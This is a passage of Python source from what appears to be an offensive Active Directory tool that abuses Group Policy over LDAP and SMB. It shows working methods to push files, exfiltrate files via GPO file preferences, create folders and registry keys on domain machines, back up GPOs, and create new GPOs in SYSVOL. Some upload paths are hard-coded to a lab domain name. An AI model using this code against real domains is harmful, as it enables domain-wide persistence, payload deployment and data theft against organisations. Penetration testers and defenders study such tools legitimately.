modified = orig.replace(bytes(target.encode("utf-8")), bytes(replacement.encode("utf-8")))
self.SMBWriteFile(loc, modified)
except:
raise
print("[+] Version updated succesfully!")
def GPOBackup(self, location, gpo):
print("[*] Creating backup folder")
os.mkdir(location)
entries = self.ldapGPOInfo('*', gpo)
info = entries[0][self.gpoattr]
print("[*] Saving " + self.gpoattr + " values as " + self.gpoattr + ".txt")
file = open(location + "/" + self.gpoattr + ".txt", "w")
file.write(str(info))
file.close()
if self.smbconn == '':
self.conn2smb()
root = str(entries[0]["gPCFileSysPath"])
files = self.SMBDownloadRecursive(root, location)
def GPOCopyFile(self, srcPath, dstPath, hidden, gpo):
(path, info, dn) = self.extractInfo(gpo)
filename = dstPath[dstPath.rindex("\\") + 1:]
remotePath = path + "\\" + self.gpopath + "\\" + filename
xmlPath = path + "\\" + self.gpopath + "\\Preferences\\Files\\Files.xml"
template = self.template_file.replace("CHANGEME_NAME", filename)
now = datetime.now()
date = now.strftime("%Y-%m-%d %H:%M:%S")
template = template.replace("CHANGEME_TIMESTAMP", date)
if srcPath[:2] == "\\\\":
template = template.replace("CHANGEME_FROMPATH", srcPath)
else:
template = template.replace("CHANGEME_FROMPATH", path + "\\" + self.gpopath + "\\" + filename)
template = template.replace("CHANGEME_TOPATH", dstPath)
template = template.replace("CHANGEME_HIDDEN", str(hidden))
template = template.replace("CHANGEME_UID", self.generateGUID())
template = template.replace("CHANGEME_CONTEXT", self.context)
if self.smbconn == '':
self.conn2smb()
if srcPath[:2] != "\\\\":
self.SMBUploadFile(srcPath, remotePath)
if "Files" in info[0]:
k = ""
try:
orig = self.SMBReadFile(xmlPath)
modified = orig.replace(b'</Files>', bytes(template.encode("utf-8")))
self.SMBWriteFile(xmlPath, modified)
except:
raise
else:
k = "Files"
try:
self.smbconn.createDirectory('SysVol', path + "\\" + self.gpopath + "\\Preferences\\Files")
except:
pass
orig = bytes(self.template_file_new.encode("utf-8"))
modified = orig.replace(b'</Files>', bytes(template.encode("utf-8")))
self.SMBWriteFile(xmlPath, modified)
self.updateGUID(info, k, ['Group Policy Files', 'Files'], dn)
def GPOExfilFiles(self, srcPath, dstPath, hidden, gpo):
(path, info, dn) = self.extractInfo(gpo)
filename = dstPath[dstPath.rindex("\\") + 1:]
remotePath = path + "\\" + self.gpopath + "\\" + filename
xmlPath = path + "\\" + self.gpopath + "\\Preferences\\Files\\Files.xml"
template = self.template_file.replace("CHANGEME_NAME", filename)
now = datetime.now()
date = now.strftime("%Y-%m-%d %H:%M:%S")
template = template.replace("CHANGEME_TIMESTAMP", date)
template = template.replace("CHANGEME_FROMPATH", srcPath)
template = template.replace("CHANGEME_TOPATH", dstPath)
template = template.replace("CHANGEME_HIDDEN", str(hidden))
template = template.replace("CHANGEME_UID", self.generateGUID())
template = template.replace("CHANGEME_CONTEXT", self.context)
if self.smbconn == '':
self.conn2smb()
if "Files" in info[0]:
k = ""
try:
orig = self.SMBReadFile(xmlPath)
modified = orig.replace(b'</Files>', bytes(template.encode("utf-8")))
self.SMBWriteFile(xmlPath, modified)
except:
raise
else:
k = "Files"
try:
self.smbconn.createDirectory('SysVol', path + "\\" + self.gpopath + "\\Preferences\\Files")
except:
pass
orig = bytes(self.template_file_new.encode("utf-8"))
modified = orig.replace(b'</Files>', bytes(template.encode("utf-8")))
self.SMBWriteFile(xmlPath, modified)
self.updateGUID(info, k, ['Group Policy Files', 'Files'], dn)
def GPOCreateFolder(self, dstPath, hidden, gpo):
(path, info, dn) = self.extractInfo(gpo)
foldername = dstPath[dstPath.rindex("\\") + 1:]
xmlPath = path + "\\" + self.gpopath + "\\Preferences\\Folders\\Folders.xml"
template = self.template_folder.replace("CHANGEME_NAME", foldername)
now = datetime.now()
date = now.strftime("%Y-%m-%d %H:%M:%S")
template = template.replace("CHANGEME_TIMESTAMP", date)
template = template.replace("CHANGEME_PATH", dstPath)
template = template.replace("CHANGEME_HIDDEN", str(hidden))
template = template.replace("CHANGEME_UID", self.generateGUID())
template = template.replace("CHANGEME_CONTEXT", self.context)
if self.smbconn == '':
self.conn2smb()
if "Folders" in info[0]:
k = ""
try:
orig = self.SMBReadFile(xmlPath)
modified = orig.replace(b'</Folders>', bytes(template.encode("utf-8")))
self.SMBWriteFile(xmlPath, modified)
except:
raise
else:
k = "Folders"
try:
self.smbconn.createDirectory('Sysvol', path + "\\" + self.gpopath + "\\Preferences\\Folders")
except:
pass
orig = bytes(self.template_folder_new.encode("utf-8"))
modified = orig.replace(b'</Folders>', bytes(template.encode("utf-8")))
self.SMBWriteFile(xmlPath, modified)
self.updateGUID(info, k, ['Group Policy Folders', 'Folders'], dn)
def GPORegCreate(self, hive, key, subkey, t, value, default, gpo):
(path, info, dn) = self.extractInfo(gpo)
xmlPath = path + "\\" + self.gpopath + "\\Preferences\\Registry\\Registry.xml"
if subkey == "":
name = key[key.rindex("\\") + 1:]
else:
name = subkey
template = self.template_registry.replace("CHANGEME_NAME", name)
template = template.replace("CHANGEME_STATUS", name)
now = datetime.now()
date = now.strftime("%Y-%m-%d %H:%M:%S")
template = template.replace("CHANGEME_TIMESTAMP", date)
template = template.replace("CHANGEME_UID", self.generateGUID())
template = template.replace("CHANGEME_CONTEXT", self.context)
template = template.replace("CHANGEME_DEFAULT", default)
template = template.replace("CHANGEME_HIVE", hive)
template = template.replace("CHANGEME_KEY", key)
template = template.replace("CHANGEME_SUBKEY", subkey)
template = template.replace("CHANGEME_VALUE", value)
template = template.replace("CHANGEME_TYPE", t)
if self.smbconn == '':
self.conn2smb()
if "Registry" in info[0]:
k = ""
try:
orig = self.SMBReadFile(xmlPath)
modified = orig.replace(b'</RegistrySettings>', bytes(template.encode("utf-8")))
self.SMBWriteFile(xmlPath, modified)
except:
raise
else:
k = "Registry"
try:
self.smbconn.createDirectory('SysVol', path + "\\"+ self.gpopath +"\\Preferences\\Registry")
except:
pass
orig = bytes(self.template_registry_new.encode("utf-8"))
modified = orig.replace(b'</RegistrySettings>', bytes(template.encode("utf-8")))
self.SMBWriteFile(xmlPath, modified)
self.updateGUID(info, k, ['Group Policy Registry', 'Registry'], dn)
def CreateGPOFiles(self,domain,gpo_guid, display_name):
if self.smbconn == '':
self.conn2smb()
files = self.smbconn.listPath("SYSVOL", f"{domain}/Policies/*")
exist = False
print(f"[+] Checking if folder with guid {{{gpo_guid}}} exist")
for file in files:
if file.get_longname() == f"{{{gpo_guid}}}":
exist = True
break
if exist:
print(f"[-] The GPO with guid {{{gpo_guid}}} already exists")
exit(1)
print("[+] Creating necessary gpo files and folders")
try:
gpo_content = f"""[General]
Version=0
displayName={display_name}
"""
fh = open("./GPT.INI", "w+b")
fh.write(gpo_content.encode('utf-8'))
fh.seek(0)
self.smbconn.createDirectory("SYSVOL", f"{domain}/Policies/{{{gpo_guid}}}")
self.smbconn.createDirectory("SYSVOL", f"{domain}/Policies/{{{gpo_guid}}}/Machine")
self.smbconn.createDirectory("SYSVOL", f"{domain}/Policies/{{{gpo_guid}}}/User")
self.smbconn.putFile("SYSVOL", f"inlanefreight.local/Policies/{{{gpo_guid}}}/GPT.INI", fh.read)
fh.close()
os.remove("./GPT.INI")
if self.__options.comment is not None:
comment = self.__options.comment
fh = open("./GPO.cmt", "w+b")
fh.write(comment.encode('utf-8'))
fh.seek(0)
self.smbconn.putFile("SYSVOL", f"inlanefreight.local/Policies/{{{gpo_guid}}}/GPO.cmt", fh.read)
fh.close()
os.remove("./GPO.cmt")
print(f"[+] GPO created")
exit(0)
except Exception as e:
print(f"[-] Failed to create dir or file with exception {e}")
exit(1)
def CreateGPO(self, GPOName):
target = self.get_machine_name(self.__options, self.__domain)
if self.ldapconn == '':
if self.__options.use_ldaps is True:
try:
self.conn2ldap(ssl.PROTOCOL_TLSv1_2, target)
except ldap3.core.exceptions.LDAPSocketOpenError:
self.conn2ldap(ssl.PROTOCOL_TLSv1, target)
else:
self.conn2ldap(None, target)
base = self.ldapconn.server.info.other['defaultNamingContext'][0]
#get domain from DN
parts = base.split(',')
domain_parts = [part.split('=')[1] for part in parts if part.startswith('DC=')]
domain = '.'.join(domain_parts)
gpo_guid = str(uuid.uuid4()).upper()
#gpo_cn = 'CN=' + GPOName + ',CN=Policies,CN=System,' + base
gpo_cn = f"CN={{{gpo_guid}}},CN=Policies,CN=System,{base}"
attributes = {
'objectClass': ['top', 'groupPolicyContainer'],
'cn': f"{{{gpo_guid}}}",
'displayName': GPOName,
'name': f"{{{gpo_guid}}}",
'gPCFileSysPath': f'\\\\{domain}\\SYSVOL\\{domain}\\Policies\\{{{gpo_guid}}}',
'gPCFunctionalityVersion': '2',
'versionnumber': '0'
}
# Add the GPO to AD
self.ldapconn.add(gpo_cn, attributes=attributes)
if not self.ldapconn.result['description'] == 'success':
print(f'[-] Failed to create GPO: {self.ldapconn.result["description"]}')
else:
self.CreateGPOFiles(domain,gpo_guid, GPOName)
def CheckForDuplicates(self,GPOName):
target = self.get_machine_name(self.__options, self.__domain)
if self.ldapconn == '':
if self.__options.use_ldaps is True:
try:
self.conn2ldap(ssl.PROTOCOL_TLSv1_2, target)
except ldap3.core.exceptions.LDAPSocketOpenError:
self.conn2ldap(ssl.PROTOCOL_TLSv1, target)
else:
self.conn2ldap(None, target)
base = self.ldapconn.server.info.other['defaultNamingContext'][0]